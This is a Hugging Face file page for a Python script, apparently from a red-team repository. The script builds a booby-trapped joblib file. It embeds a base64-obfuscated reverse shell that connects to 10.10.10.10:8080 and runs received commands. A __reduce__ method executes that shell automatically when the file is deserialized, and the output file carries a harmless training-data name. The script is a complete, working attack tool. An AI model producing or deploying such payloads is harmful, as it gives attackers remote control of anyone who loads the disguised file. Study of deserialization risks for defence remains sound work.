Download generate_data_joblib.py from Iredteam/joblib-payload-chatbot: direct link, hf CLI and curl.
- Browser
- Download file 932 Bytes
-
https://huggingface.co/Iredteam/joblib-payload-chatbot/resolve/main/generate_data_joblib.py
- Command line
-
hf download hf://Iredteam/joblib-payload-chatbot/generate_data_joblib.py
-
curl -L -o generate_data_joblib.py https://huggingface.co/Iredteam/joblib-payload-chatbot/resolve/main/generate_data_joblib.py
932 Bytes
| import joblib | |
| import base64 | |
| import textwrap | |
| # Step 1: Define your reverse shell code | |
| payload = textwrap.dedent(""" | |
| import socket | |
| import subprocess | |
| ip = "10.10.10.10" | |
| p = 8080 | |
| s = socket.socket() | |
| s.connect((ip, p)) | |
| while True: | |
| c = s.recv(1024).decode() | |
| if not c: | |
| break | |
| o = subprocess.getoutput(c) | |
| s.sendall(o.encode()) | |
| """).strip() | |
| # Step 2: Obfuscate the payload using base64 | |
| encoded_payload = base64.b64encode(payload.encode()).decode() | |
| # Step 3: Create a malicious class that triggers on deserialization | |
| class Trigger: | |
| def __reduce__(self): | |
| cmd = ( | |
| "import base64\n" | |
| f"exec(base64.b64decode('{encoded_payload}').decode())" | |
| ) | |
| return (exec, (cmd,)) | |
| # Step 4: Dump it to a joblib file | |
| with open("train_data_mod_obfuscated_fixed.joblib", "wb") as f: | |
| joblib.dump(Trigger(), f) | |
| print("✅ Joblib file created: train_data_mod_obfuscated_fixed.joblib") | |